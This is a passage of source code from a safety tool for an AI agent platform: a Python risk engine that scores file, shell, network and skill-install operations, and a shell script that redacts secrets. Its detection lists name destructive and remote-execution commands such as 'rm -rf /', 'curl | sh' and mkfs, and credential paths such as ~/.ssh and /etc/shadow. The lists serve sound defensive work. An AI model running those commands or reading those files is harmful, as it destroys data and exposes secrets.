            print("✅ Policy validation passed")
    
    else:
        parser.print_help()
        sys.exit(1)


if __name__ == "__main__":
    main()


path: scripts/risk_engine.py
content: #!/usr/bin/env python3
"""
Claw-Gatekeeper Risk Assessment Engine
Analyzes operations and assigns risk scores for OpenClaw safety control

Merged from: SafeClaw (risk_analyzer.py) + Claw-Guardian (risk_engine.py)
Features:
- Comprehensive risk analysis for file, shell, network, and skill operations
- Configurable sensitivity via policy configuration
- Detailed risk reasoning and recommendations
"""

import re
import os
import json
import sys
from enum import Enum
from dataclasses import dataclass, asdict
from typing import List, Dict, Optional, Any, Tuple
from pathlib import Path


class RiskLevel(Enum):
    """Risk level classification"""
    CRITICAL = "CRITICAL"  # Score 80-100 - System-level danger
    HIGH = "HIGH"          # Score 60-79 - Sensitive operations
    MEDIUM = "MEDIUM"      # Score 30-59 - General risk
    LOW = "LOW"            # Score 0-29 - Safe operations
    
    def get_emoji(self) -> str:
        """Get emoji representation"""
        return {
            RiskLevel.CRITICAL: "🔴",
            RiskLevel.HIGH: "🟠",
            RiskLevel.MEDIUM: "🟡",
            RiskLevel.LOW: "🟢"
        }.get(self, "⚪")


@dataclass
class RiskAssessment:
    """Risk assessment result"""
    level: RiskLevel
    score: int
    reasons: List[str]
    recommendation: str
    requires_approval: bool
    operation_type: str
    operation_detail: str


class RiskEngine:
    """Core risk assessment engine with comprehensive detection capabilities"""
    
    # Sensitive paths that indicate high risk
    SENSITIVE_PATHS = [
        (r"^/etc/(passwd|shadow|hosts|ssh|sudoers)$", "System authentication file"),
        (r"^/etc/(fstab|crypttab)$", "System mount configuration"),
        (r"^~/.ssh/", "SSH keys and configuration"),
        (r"^~/.gnupg/", "GPG keys and configuration"),
        (r"^~/.aws/", "AWS credentials"),
        (r"^~/.azure/", "Azure credentials"),
        (r"^~/.kube/", "Kubernetes configuration"),
        (r"^~/.docker/", "Docker configuration"),
        (r".*\.env$", "Environment file with secrets"),
        (r".*\.env\.", "Environment file variant"),
        (r".*secret", "Secret file"),
        (r".*password", "Password file"),
        (r".*credential", "Credential file"),
        (r".*token", "Token file"),
        (r".*key\.json$", "JSON key file"),
        (r".*key\.pem$", "PEM key file"),
        (r".*id_rsa", "RSA private key"),
        (r".*id_ed25519", "Ed25519 private key"),
        (r"^/var/log/", "System log directory"),
        (r"^/root/", "Root home directory"),
        (r"^/sys/", "System kernel interface"),
        (r"^/proc/", "Process information"),
        (r"^/boot/", "Boot directory"),
        (r"^/dev/(sd|hd|nvme|md)", "Block device"),
    ]
    
    # Dangerous command patterns with descriptions and penalties
    DANGEROUS_PATTERNS: List[Tuple[str, str, int]] = [
        (r"\brm\s+-rf\s+/\b", "Recursive deletion of root directory", 100),
        (r"\brm\s+-rf\s+/\*", "Wildcard deletion in root", 100),
        (r"\bdd\s+if=.*of=/dev/[sh]d", "Direct disk write operation", 100),
        (r"\bdd\s+if=.*of=/dev/null", "Data destruction to null", 80),
        (r"\bmv\s+/\S+\s+/dev/null", "Moving files to null device", 80),
        (r"\bmkfs\.[a-z]+", "Filesystem formatting", 100),
        (r"\bfdisk\s", "Partition manipulation", 90),
        (r"\bparted\s", "Partition editing", 90),
        (r"\bformat\s+", "Drive formatting", 90),
        (r">\s*/etc/passwd", "Overwriting system password file", 100),
        (r">\s*/etc/shadow", "Overwriting system shadow file", 100),
        (r">\s*/etc/sudoers", "Overwriting sudoers file", 100),
        (r"\bwipefs\s", "Filesystem signature wiping", 85),
        (r"\bshred\s", "Secure file deletion", 70),
    ]
    
    # System-level commands
    SYSTEM_COMMANDS: List[Tuple[str, str, int]] = [
        (r"\bsudo\s+", "Elevated privilege execution", 50),
        (r"\bsu\s+-", "User switch to root", 60),
        (r"\bchown\s+-R\s+root", "Changing ownership to root", 50),
        (r"\bchmod\s+777", "World-writable permissions", 60),
        (r"\bchmod\s+[0-7]777", "World-writable permissions", 60),
        (r"\busermod\s+", "User modification", 50),
        (r"\buserdel\s+", "User deletion", 60),
        (r"\bgroupmod\s+", "Group modification", 50),
        (r"\bgroupdel\s+", "Group deletion", 50),
        (r"\bsystemctl\s+(stop|restart|disable|mask)", "Service control", 45),
        (r"\bservice\s+\S+\s+(stop|restart)", "Service control", 45),
        (r"\bkill\s+-9\s+1\b", "Killing init process", 100),
        (r"\binit\s+0\b", "System shutdown", 100),
        (r"\breboot\b", "System reboot", 80),
        (r"\bshutdown\b", "System shutdown", 80),
        (r"\bhalt\b", "System halt", 80),
        (r"\bpoweroff\b", "System poweroff", 80),
    ]
    
    # Network-related commands
    NETWORK_COMMANDS: List[Tuple[str, str, int]] = [
        (r"\bcurl\s+.*\|\s*sh", "Remote script execution", 90),
        (r"\bwget\s+.*\|\s*sh", "Remote script execution", 90),
        (r"\bcurl\s+.*\|\s*bash", "Remote script execution", 90),
        (r"\bwget\s+.*\|\s*bash", "Remote script execution", 90),
        (r"\bcurl\b", "Data transfer via curl", 25),
        (r"\bwget\b", "Data transfer via wget", 25),
        (r"\bnc\b|\bnetcat\b", "Network connection tool", 35),
        (r"\bnmap\b", "Network scanning", 50),
        (r"\bscp\b", "Secure copy", 30),
        (r"\bsftp\b", "Secure FTP", 30),
        (r"\bssh\s+.*\s+rm", "Remote deletion", 60),
        (r"\bssh\s+.*\s+mkfs", "Remote formatting", 90),
        (r"\btelnet\b", "Insecure remote access", 50),
        (r"\bftp\b", "Insecure file transfer", 40),
    ]
    
    # Suspicious patterns for skill names
    SUSPICIOUS_SKILL_PATTERNS = [
        r"hack", r"crack", r"exploit", r"backdoor", r"rootkit",
        r"bypass", r"inject", r"trojan", r"malware", r"virus",
        r"keylog", r"sniff", r"spoof", r"brute",
        r"test.*admin", r"temp.*root", r"debug.*system"
    ]
    
    # System-level skill indicators
    SYSTEM_SKILL_KEYWORDS = [
        "system", "shell", "exec", "admin", "root", "kernel",
        "privilege", "escalation", "sudo", "superuser"
    ]
    
    # High-risk permissions for skills
    HIGH_RISK_PERMISSIONS = [
        "filesystem", "network", "shell", "system", "process",
        "clipboard", "input", "screen", "camera", "microphone"
    ]
    
    def __init__(self, config_path: Optional[str] = None):
        self.config = self._load_config(config_path)
    
    def _load_config(self, config_path: Optional[str]) -> Dict:
        """Load configuration from file or use defaults"""
        defaults = {
            "whitelist_paths": [],
            "whitelist_commands": [],
            "whitelist_domains": [],
            "whitelist_skills": [],
            "sensitive_extensions": [
                ".env", ".key", ".secret", ".password", ".token",
                ".pem", ".p12", ".pfx", ".crt", ".cer"
            ],
            "batch_threshold": 5,
            "strict_mode": False,
            "check_hidden_files": True,
        }
        
        if config_path and os.path.exists(config_path):
            try:
                with open(config_path, 'r', encoding='utf-8') as f:
                    user_config = json.load(f)
                    defaults.update(user_config)
            except Exception as e:
                print(f"Warning: Could not load config: {e}", file=sys.stderr)
        
        return defaults
    
    def assess_file_operation(self, operation: str, paths: List[str], 
                             recursive: bool = False) -> RiskAssessment:
        """
        Assess risk of file operations
        
        Args:
            operation: Type of operation (read/write/delete/move/copy)
            paths: List of target paths
            recursive: Whether operation is recursive
        """
        reasons = []
        score = 0
        
        # Check for batch operations
        if len(paths) > self.config.get("batch_threshold", 5):
            score += 20
            reasons.append(f"Batch operation ({len(paths)} files)")
        
        if len(paths) > 20:
            score += 10
            reasons.append(f"Large batch operation ({len(paths)} files)")
        
        # Check for recursive operations
        if recursive:
            score += 25
            reasons.append("Recursive operation")
        
        for path in paths:
            expanded_path = os.path.expanduser(path)
            
            # Check sensitive paths
            sensitive_match = self._is_sensitive_path(expanded_path)
            if sensitive_match:
                score += 40
                reasons.append(f"Access to {sensitive_match}: {path}")
            
            # Check sensitive file extensions
            if self._has_sensitive_extension(expanded_path):
                score += 30
                reasons.append(f"Sensitive file type: {os.path.basename(path)}")
            
            # Check hidden files (if enabled)
            if self.config.get("check_hidden_files", True):
                basename = os.path.basename(expanded_path)
                if basename.startswith('.') and len(basename) > 1:
                    score += 5
                    # Don't add reason for every hidden file to avoid noise
            
            # Check write/delete operations
            if operation in ["write", "delete", "move"]:
                base_scores = {"write": 20, "delete": 30, "move": 25}
                score += base_scores.get(operation, 20)
                
                if operation == "delete":
                    if os.path.isdir(expanded_path) if os.path.exists(expanded_path) else recursive:
                        score += 15
                        reasons.append(f"Directory deletion: {path}")
                    else:
                        reasons.append(f"File deletion: {path}")
                        
                elif operation == "write":
                    if os.path.exists(expanded_path):
                        score += 15
                        reasons.append(f"Overwriting existing file: {path}")
                    else:
                        reasons.append(f"Creating new file: {path}")
                
                elif operation == "move":
                    reasons.append(f"Moving file: {path}")
        
        # Calculate final level
        level = self._calculate_level(score)
        requires_approval = level in [RiskLevel.CRITICAL, RiskLevel.HIGH]
        
        operation_detail = f"{operation} {', '.join(paths[:3])}"
        if len(paths) > 3:
            operation_detail += f" and {len(paths) - 3} more"
        
        recommendation = self._generate_recommendation(operation, paths, reasons)
        
        return RiskAssessment(
            level=level,
            score=min(score, 100),
            reasons=reasons,
            recommendation=recommendation,
            requires_approval=requires_approval,
            operation_type="file",
            operation_detail=operation_detail
        )
    
    def assess_shell_command(self, command: str) -> RiskAssessment:
        """Assess risk of shell command execution"""
        reasons = []
        score = 0
        
        # Check whitelist
        if self._is_whitelisted_command(command):
            return RiskAssessment(
                level=RiskLevel.LOW,
                score=0,
                reasons=["Command in whitelist"],
                recommendation="Safe to execute",
                requires_approval=False,
                operation_type="shell",
                operation_detail=command[:100]
            )
        
        # Check dangerous patterns
        for pattern, description, penalty in self.DANGEROUS_PATTERNS:
            if re.search(pattern, command, re.IGNORECASE):
                score += penalty
                reasons.append(f"Dangerous pattern: {description}")
        
        # Check system commands
        for pattern, description, penalty in self.SYSTEM_COMMANDS:
            if re.search(pattern, command, re.IGNORECASE):
                score += penalty
                reasons.append(f"System operation: {description}")
        
        # Check network commands
        for pattern, description, penalty in self.NETWORK_COMMANDS:
            if re.search(pattern, command, re.IGNORECASE):
                score += penalty
                reasons.append(f"Network operation: {description}")
                break  # Only count once
        
        # Complex commands (pipes, redirects)
        pipe_count = command.count('|')
        if pipe_count > 0:
            score += min(pipe_count * 5, 15)
            reasons.append(f"Command pipeline ({pipe_count + 1} stages)")
        
        redirect_count = command.count('>')
        if redirect_count > 0:
            score += min(redirect_count * 5, 10)
            if redirect_count == 1:
                reasons.append("Output redirection")
            else:
                reasons.append("Multiple redirections")
        
        # Background execution
        if command.rstrip().endswith('&'):
            score += 10
            reasons.append("Background execution")
        
        level = self._calculate_level(score)
        requires_approval = level in [RiskLevel.CRITICAL, RiskLevel.HIGH]
        recommendation = self._generate_command_recommendation(command, reasons)
        
        return RiskAssessment(
            level=level,
            score=min(score, 100),
            reasons=reasons,
            recommendation=recommendation,
            requires_approval=requires_approval,
            operation_type="shell",
            operation_detail=command[:200]
        )
    
    def assess_network_request(self, url: str, method: str = "GET", 
                                data: Optional[str] = None,
                                headers: Optional[Dict] = None) -> RiskAssessment:
        """Assess risk of network requests"""
        reasons = []
        score = 0
        
        try:
            from urllib.parse import urlparse
            parsed = urlparse(url)
            hostname = parsed.hostname or ""
            
            # Check whitelist
            if self._is_whitelisted_domain(hostname):
                return RiskAssessment(
                    level=RiskLevel.LOW,
                    score=0,
                    reasons=["Domain in whitelist"],
                    recommendation="Safe to proceed",
                    requires_approval=False,
                    operation_type="network",
                    operation_detail=f"{method} {url[:100]}"
                )
            
            # External domain check
            if self._is_external_domain(hostname):
                score += 40
                reasons.append(f"External domain: {hostname}")
            
            # Check for IP addresses (potentially suspicious)
            if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", hostname):
                score += 20
                reasons.append("Direct IP address access")
            
            # Insecure protocols
            if parsed.scheme == "http":
                score += 10
                reasons.append("Unencrypted HTTP protocol")
            elif parsed.scheme in ["ftp", "telnet"]:
                score += 50
                reasons.append(f"Insecure protocol: {parsed.scheme}")
            elif parsed.scheme == "file":
                score += 40
                reasons.append("File protocol access")
            
            # Data modification methods
            if method in ["POST", "PUT", "DELETE", "PATCH"]:
                score += 20
                reasons.append(f"Data modification: {method}")
            
            # Data payload present
            if data:
                score += 15
                data_size = len(data)
                if data_size > 10000:
                    score += 10
                    reasons.append(f"Large data payload ({data_size} bytes)")
                else:
                    reasons.append("Request includes data payload")
            
            # Sensitive headers
            if headers:
                sensitive_headers = ['authorization', 'x-api-key', 'cookie']
                for header in sensitive_headers:
                    if any(h.lower() == header for h in headers.keys()):
                        score += 10
                        reasons.append(f"Contains sensitive header: {header}")
                        break
            
            # Sensitive ports
            sensitive_ports = {
                22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS",
                110: "POP3", 143: "IMAP", 3389: "RDP", 
                5900: "VNC", 6379: "Redis", 3306: "MySQL",
                5432: "PostgreSQL", 27017: "MongoDB", 9200: "Elasticsearch"
            }
            port = parsed.port
            if port in sensitive_ports:
                score += 25
                reasons.append(f"Sensitive service port: {port} ({sensitive_ports[port]})")
            
            # URL path analysis
            path = parsed.path.lower()
            if any(keyword in path for keyword in ['admin', 'config', 'api/v1', 'internal']):
                score += 15
                reasons.append("Potentially sensitive API endpoint")
        
        except Exception as e:
            score += 20
            reasons.append(f"Could not parse URL: {e}")
        
        level = self._calculate_level(score)
        requires_approval = level in [RiskLevel.CRITICAL, RiskLevel.HIGH]
        recommendation = f"Network request to {hostname or 'unknown'} - verify data destination is trusted"
        
        return RiskAssessment(
            level=level,
            score=min(score, 100),
            reasons=reasons,
            recommendation=recommendation,
            requires_approval=requires_approval,
            operation_type="network",
            operation_detail=f"{method} {url[:150]}"
        )
    
    def assess_skill_install(self, skill_name: str, source: str,
                              permissions: Optional[List[str]] = None,
                              version: Optional[str] = None) -> RiskAssessment:
        """Assess risk of skill installation"""
        reasons = []
        score = 0
        
        # Check whitelist
        if self._is_whitelisted_skill(skill_name):
            return RiskAssessment(
                level=RiskLevel.LOW,
                score=0,
                reasons=["Skill in whitelist"],
                recommendation="Trusted skill - safe to install",
                requires_approval=False,
                operation_type="skill",
                operation_detail=f"{skill_name}@{version or 'latest'} from {source}"
            )
        
        # Source risk assessment
        source_risk = {
            "clawhub": (10, "Official registry"),
            "npm": (15, "NPM registry"),
            "github": (25, "GitHub repository"),
            "git": (30, "Git repository"),
            "local": (40, "Local file"),
            "url": (45, "Direct URL"),
            "unknown": (50, "Unknown source")
        }
        src_score, src_desc = source_risk.get(source.lower(), (50, "Unknown source"))
        score += src_score
        reasons.append(f"Installation source: {src_desc}")
        
        # Version check
        if version:
            if 'alpha' in version.lower() or 'beta' in version.lower() or 'rc' in version.lower():
                score += 15
                reasons.append(f"Pre-release version: {version}")
        
        # Suspicious naming patterns
        for pattern in self.SUSPICIOUS_SKILL_PATTERNS:
            if pattern in skill_name.lower():
                score += 25
                reasons.append(f"Suspicious naming pattern: '{pattern}'")
                break  # Only count once
        
        # System-level indicators
        for keyword in self.SYSTEM_SKILL_KEYWORDS:
            if keyword in skill_name.lower():
                score += 15
                reasons.append(f"System-level skill indicator: '{keyword}'")
                break
        
        # Permissions analysis
        if permissions:
            for perm in permissions:
                perm_lower = perm.lower()
                for high_risk in self.HIGH_RISK_PERMISSIONS:
                    if high_risk in perm_lower:
                        score += 20
                        reasons.append(f"High-risk permission: {perm}")
                        break
        else:
            # No permissions specified is suspicious
            score += 10
            reasons.append("No permissions declared")
        
        level = self._calculate_level(score)
        requires_approval = level in [RiskLevel.CRITICAL, RiskLevel.HIGH]
        recommendation = f"Installing skill '{skill_name}' grants system access - verify source and reviews before installation"
        
        return RiskAssessment(
            level=level,
            score=min(score, 100),
            reasons=reasons,
            recommendation=recommendation,
            requires_approval=requires_approval,
            operation_type="skill",
            operation_detail=f"{skill_name}@{version or 'latest'} from {source}"
        )
    
    def assess_system_config(self, config_path: str, changes: Dict[str, Any]) -> RiskAssessment:
        """Assess risk of system configuration changes"""
        reasons = []
        score = 50  # Base score for system config
        
        # Check if path is sensitive
        sensitive_match = self._is_sensitive_path(config_path)
        if sensitive_match:
            score += 30
            reasons.append(f"System configuration file: {sensitive_match}")
        
        # Analyze changes
        for key, value in changes.items():
            key_lower = key.lower()
            if any(sensitive in key_lower for sensitive in ['password', 'secret', 'key', 'token']):
                score += 20
                reasons.append(f"Sensitive configuration key: {key}")
            
            if isinstance(value, bool) and value == True:
                if any(enable in key_lower for enable in ['enable', 'disable', 'debug', 'trace']):
                    score += 10
                    reasons.append(f"Enabling feature: {key}")
        
        level = self._calculate_level(score)
        requires_approval = level in [RiskLevel.CRITICAL, RiskLevel.HIGH]
        recommendation = "System configuration changes can affect stability - verify changes before applying"
        
        return RiskAssessment(
            level=level,
            score=min(score, 100),
            reasons=reasons,
            recommendation=recommendation,
            requires_approval=requires_approval,
            operation_type="system",
            operation_detail=f"Config: {config_path}"
        )
    
    def _is_sensitive_path(self, path: str) -> Optional[str]:
        """Check if path is sensitive and return description"""
        for pattern, description in self.SENSITIVE_PATHS:
            if re.search(pattern, path, re.IGNORECASE):
                return description
        return None
    
    def _has_sensitive_extension(self, path: str) -> bool:
        """Check if file has sensitive extension"""
        path_lower = path.lower()
        for ext in self.config.get("sensitive_extensions", []):
            if path_lower.endswith(ext.lower()):
                return True
        return False
    
    def _is_whitelisted_command(self, command: str) -> bool:
        """Check if command is whitelisted"""
        whitelist = self.config.get("whitelist_commands", [])
        for pattern in whitelist:
            if command.strip().startswith(pattern):
                return True
        return False
    
    def _is_whitelisted_domain(self, hostname: str) -> bool:
        """Check if domain is whitelisted"""
        whitelist = self.config.get("whitelist_domains", [])
        return hostname in whitelist
    
    def _is_whitelisted_skill(self, skill_name: str) -> bool:
        """Check if skill is whitelisted"""
        whitelist = self.config.get("whitelist_skills", [])
        return skill_name in whitelist
    
    def _is_external_domain(self, hostname: str) -> bool:
        """Check if domain is external (not internal/private)"""
        if not hostname:
            return False
        
        internal_patterns = [
            r"\.local$",
            r"\.internal$",
            r"\.lan$",
            r"\.home$",
            r"localhost$",
            r"^127\.",
            r"^10\.",
            r"^192\.168\.",
            r"^172\.(1[6-9]|2[0-9]|3[01])\.",
            r"^169\.254\."
        ]
        
        for pattern in internal_patterns:
            if re.search(pattern, hostname, re.IGNORECASE):
                return False
        return True
    
    def _calculate_level(self, score: int) -> RiskLevel:
        """Calculate risk level from score"""
        if score >= 80:
            return RiskLevel.CRITICAL
        elif score >= 60:
            return RiskLevel.HIGH
        elif score >= 30:
            return RiskLevel.MEDIUM
        else:
            return RiskLevel.LOW
    
    def _generate_recommendation(self, operation: str, paths: List[str], 
                                  reasons: List[str]) -> str:
        """Generate recommendation message for file operations"""
        if not reasons:
            return "Operation appears safe"
        
        if operation == "delete":
            return f"About to delete {len(paths)} item(s). Ensure important data is backed up before proceeding."
        elif operation == "write":
            return "File write operation - verify this won't overwrite important configuration or data"
        elif operation == "move":
            return "File move operation - verify source and destination are correct"
        else:
            return f"Detected risks: {', '.join(reasons[:3])}"
    
    def _generate_command_recommendation(self, command: str, 
                                          reasons: List[str]) -> str:
        """Generate command-specific recommendation"""
        cmd_lower = command.lower()
        
        if any(x in cmd_lower for x in ["rm -rf", "rmdir /s"]):
            return "⚠️  DESTRUCTIVE DELETION detected - double-check target path before proceeding"
        elif "sudo" in cmd_lower or "su -" in cmd_lower:
            return "⚠️  PRIVILEGE ESCALATION detected - verify command source and intent"
        elif any(x in cmd_lower for x in ["curl", "wget"]) and ("|" in command or ";" in command):
            return "⚠️  REMOTE CODE EXECUTION risk - verify script source before execution"
        elif "mkfs" in cmd_lower or "format" in cmd_lower:
            return "🛑 FORMATTING OPERATION - This will ERASE ALL DATA on target device"
        elif any(x in cmd_lower for x in ["dd if", "dcfldd"]):
            return "🛑 DISK WRITE OPERATION - This can destroy data or entire filesystems"
        elif "reboot" in cmd_lower or "shutdown" in cmd_lower:
            return "⚠️  SYSTEM RESTART - Save all work before proceeding"
        else:
            return f"Review carefully: {', '.join(reasons[:2])}"


def main():
    """Command-line interface for risk assessment"""
    import argparse
    
    parser = argparse.ArgumentParser(
        description="Claw-Guardian Risk Assessment Engine",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s file delete ~/test.txt
  %(prog)s shell "rm -rf /tmp/*"
  %(prog)s network https://api.example.com POST
  %(prog)s skill unknown-skill github
  %(prog)s system /etc/config --changes '{"debug": true}'
        """
    )
    
    parser.add_argument("command", choices=["file", "shell", "network", "skill", "system"],
                       help="Type of operation to assess")
    parser.add_argument("target", help="Target of the operation")
    parser.add_argument("args", nargs="*", help="Additional arguments")
    parser.add_argument("--config", "-c", help="Path to configuration file")
    parser.add_argument("--method", "-m", default="GET", help="HTTP method (for network)")
    parser.add_argument("--data", "-d", help="Request data (for network)")
    parser.add_argument("--source", "-s", default="unknown", help="Skill source")
    parser.add_argument("--permissions", "-p", help="Skill permissions (comma-separated)")
    parser.add_argument("--version", "-v", help="Skill version")
    parser.add_argument("--recursive", "-r", action="store_true", help="Recursive operation")
    parser.add_argument("--changes", help="Configuration changes (JSON)")
    
    args = parser.parse_args()
    
    engine = RiskEngine(config_path=args.config)
    
    if args.command == "file":
        operation = args.args[0] if args.args else "read"
        paths = [args.target] + args.args[1:] if len(args.args) > 1 else [args.target]
        result = engine.assess_file_operation(operation, paths, args.recursive)
    
    elif args.command == "shell":
        result = engine.assess_shell_command(args.target)
    
    elif args.command == "network":
        result = engine.assess_network_request(
            args.target, 
            method=args.method,
            data=args.data
        )
    
    elif args.command == "skill":
        perms = args.permissions.split(",") if args.permissions else None
        result = engine.assess_skill_install(
            args.target,
            source=args.source,
            permissions=perms,
            version=args.version
        )
    
    elif args.command == "system":
        changes = json.loads(args.changes) if args.changes else {}
        result = engine.assess_system_config(args.target, changes)
    
    else:
        parser.print_help()
        sys.exit(1)
    
    # Output as JSON
    output = {
        "level": result.level.value,
        "score": result.score,
        "reasons": result.reasons,
        "recommendation": result.recommendation,
        "requires_approval": result.requires_approval,
        "operation_type": result.operation_type,
        "operation_detail": result.operation_detail
    }
    print(json.dumps(output, indent=2))
    
    # Exit code based on risk level
    sys.exit(0 if result.level in [RiskLevel.LOW, RiskLevel.MEDIUM] else 1)


if __name__ == "__main__":
    main()


path: scripts/sanitizer.sh
content: #!/bin/bash
#
# Claw Gatekeeper - Conversation Sanitizer
# Removes sensitive patterns from text before processing
#
# Usage:
#   ./sanitizer.sh --file <input_file> [> output_file]
#   ./sanitizer.sh --text "sensitive text to sanitize"
#   ./sanitizer.sh --stdin < input.txt > output.txt
#
# This script is optional and can be used to pre-process content
# before Guardian analyzes it, ensuring no sensitive data is exposed.

set -e

VERSION="0.1.1"

# Sensitive patterns to redact
# Format: description|regex_pattern
SENSITIVE_PATTERNS=(
    # Credentials & Secrets
    "Password|password[:\\s=]+\\S+"
    "Passphrase|passphrase[:\\s=]+\\S+"
    "API Key|api[_-]?key[:\\s=]+\\S+"
    "Secret Key|secret[_-]?key[:\\s=]+\\S+"
    "Auth Token|auth[_-]?token[:\\s=]+\\S+"
    "Access Token|access[_-]?token[:\\s=]+\\S+"
    "Bearer Token|bearer\\s+\\S+"
    "Private Key|private[_-]?key[:\\s=]+\\S+"
    "Secret|secret[:\\s=]+\\S+"
    "Credential|credential[:\\s=]+\\S+"
    
    # Cloud Provider Keys
    "AWS Access Key|AKIA[0-9A-Z]{16}"
    "AWS Secret Key|[0-9a-zA-Z/+=]{40}"
    "GitHub Token|gh[pousr]_[A-Za-z0-9_]{36}"
    "GitLab Token|glpat-[0-9a-zA-Z\\-]{20}"
    "OpenAI API Key|sk-[a-zA-Z0-9]{48}"
    "Anthropic API Key|sk-ant-[a-zA-Z0-9]{32,}"
    "Google API Key|AIza[0-9A-Za-z_-]{35}"
    "Stripe Key|sk_live_[0-9a-zA-Z]{24,}"
    "Slack Token|xox[baprs]-[0-9]{10,13}-[0-9]{10,13}[a-zA-Z0-9-]*"
    "Discord Token|[MN][A-Za-zd]{23}\\.[A-Za-zd]{6}\\.[A-Za-zd_]{27}"
    "Telegram Token|[0-9]{9}:[a-zA-Z0-9_-]{35}"
    "Twilio Key|SK[0-9a-fA-F]{32}"
    "SendGrid Key|SG\\.[0-9a-zA-Z_-]{22}\\.[0-9a-zA-Z_-]{43}"
    "Mailgun Key|key-[0-9a-f]{32}"
    
    # Database Connection Strings
    "MongoDB URI|mongodb(\+srv)?://[^\\s\"']+"
    "PostgreSQL URI|postgresql://[^\\s\"']+"
    "MySQL URI|mysql://[^\\s\"']+"
    "Redis URI|redis://[^\\s\"']+"
    "Connection String|connection[_-]?string[:\\s=]+[^\\s\"']+"
    
    # Personal Information
    "Email Address|[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}"
    "Credit Card|[0-9]{4}[\\s-]?[0-9]{4}[\\s-]?[0-9]{4}[\\s-]?[0-9]{4}"
    "SSN|\\b[0-9]{3}-[0-9]{2}-[0-9]{4}\\b"
    "Phone Number|\\b[0-9]{3}-[0-9]{3}-[0-9]{4}\\b"
    "IP Address|\\b[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\b"
    "MAC Address|([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})"
    
    # Cryptocurrency
    "Bitcoin Address|\\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\\b"
    "Ethereum Address|\\b0x[a-fA-F0-9]{40}\\b"
    "Private Key|\\b5[HJK][1-9A-Za-z][^OIl]{48}\\b"
    
    # Tokens & Certificates
    "JWT Token|eyJ[a-zA-Z0-9_-]*\\.eyJ[a-zA-Z0-9_-]*\\.[a-zA-Z0-9_-]*"
    "Certificate|[REDACTED_SECRET]"
    "RSA Private Key|[REDACTED_SECRET]"
    "SSH Private Key|[REDACTED_SECRET]"
    "PGP Private Key|-----BEGIN PGP PRIVATE KEY BLOCK-----[^-]*-----END PGP PRIVATE KEY BLOCK-----"
    
    # Shell History Patterns
    "History Command|history[-_]?command[:\\s=]+\\S+"
    "Shell Command|bash[-_]?command[:\\s=]+\\S+"
)

# Redaction marker
REDACTION_MARKER="[REDACTED]"

# Colors (disable if not tty)
if [ -t 1 ]; then
    RED='\033[0;31m'
    GREEN='\033[0;32m'
    YELLOW='\033[1;33m'
    BLUE='\033[0;34m'
    GRAY='\033[0;90m'
    NC='\033[0m'
else
    RED=''
    GREEN=''
    YELLOW=''
    BLUE=''
    GRAY=''
    NC=''
fi

show_usage() {
    cat << EOF
OpenClaw Guardian - Conversation Sanitizer v$VERSION

Usage:
    $0 [OPTIONS] <command>

Commands:
    --file <path>       Sanitize contents of a file
    --text "string"     Sanitize a text string
    --stdin             Read from stdin and sanitize
    --check <path>      Check if file contains sensitive data (exit 1 if found)
    --list-patterns     List all configured patterns
    --help              Show this help message

Options:
    --verbose           Show what patterns were matched
    --marker "text"     Custom redaction marker (default: [REDACTED])
    --dry-run           Show what would be redacted without modifying

Examples:
    # Sanitize a file
    $0 --file conversation.txt > sanitized.txt

    # Sanitize stdin
    echo "[REDACTED_SECRET]" | $0 --stdin

    # Check for sensitive data
    $0 --check session.json && echo "Clean" || echo "Contains sensitive data"

    # Verbose mode
    $0 --file log.txt --verbose

EOF
}

sanitize_text() {
    local text="$1"
    local verbose="${2:-false}"
    local dry_run="${3:-false}"
    local match_count=0
    
    for pattern_entry in "${SENSITIVE_PATTERNS[@]}"; do
        IFS='|' read -r description pattern <<< "$pattern_entry"
        
        if echo "$text" | grep -qiE "$pattern" 2>/dev/null; then
            match_count=$((match_count + 1))
            
            if [ "$verbose" = "true" ]; then
                echo -e "${YELLOW}[MATCH]${NC} $description pattern found" >&2
            fi
            
            if [ "$dry_run" = "false" ]; then
                # Use perl for better regex compatibility
                if command -v perl &> /dev/null; then
                    text=$(echo "$text" | perl -pe "s/$pattern/$REDACTION_MARKER/g")
                else
                    # Fallback to sed (limited regex support)
                    text=$(echo "$text" | sed -E "s/$pattern/$REDACTION_MARKER/g" 2>/dev/null || echo "$text")
                fi
            fi
        fi
    done
    
    if [ "$verbose" = "true" ]; then
        echo -e "${BLUE}[INFO]${NC} Total patterns matched: $match_count" >&2
    fi
    
    echo "$text"
}

sanitize_file() {
    local file_path="$1"
    local verbose="${2:-false}"
    local dry_run="${3:-false}"
    
    if [ ! -f "$file_path" ]; then
        echo -e "${RED}[ERROR]${NC} File not found: $file_path" >&2
        exit 1
    fi
    
    if [ "$verbose" = "true" ]; then
        echo -e "${BLUE}[INFO]${NC} Processing file: $file_path" >&2
    fi
    
    local content
    content=$(cat "$file_path")
    sanitize_text "$content" "$verbose" "$dry_run"
}

check_sensitive() {
    local file_path="$1"
    local verbose="${2:-false}"
    local found=0
    
    if [ ! -f "$file_path" ]; then
        echo -e "${RED}[ERROR]${NC} File not found: $file_path" >&2
        exit 2
    fi
    
    local content
    content=$(cat "$file_path")
    
    for pattern_entry in "${SENSITIVE_PATTERNS[@]}"; do
        IFS='|' read -r description pattern <<< "$pattern_entry"
        
        if echo "$content" | grep -qiE "$pattern" 2>/dev/null; then
            found=1
            if [ "$verbose" = "true" ]; then
                echo -e "${YELLOW}[FOUND]${NC} $description" >&2
            fi
        fi
    done
    
    if [ $found -eq 1 ]; then
        echo -e "${RED}[RESULT]${NC} Sensitive data detected" >&2
        exit 1
    else
        echo -e "${GREEN}[RESULT]${NC} No sensitive data detected" >&2
        exit 0
    fi
}

list_patterns() {
    echo "Configured Sensitive Patterns:"
    echo "=============================="
    echo ""
    
    local i=1
    for pattern_entry in "${SENSITIVE_PATTERNS[@]}"; do
        IFS='|' read -r description pattern <<< "$pattern_entry"
        printf "  %2d. %-30s %s\n" "$i" "$description" "${GRAY}(regex: ${pattern:0:40}...)${NC}"
        i=$((i + 1))
    done
    
    echo ""
    echo "Total patterns: ${#SENSITIVE_PATTERNS[@]}"
}

# Main
case "${1:-}" in
    --file)
        shift
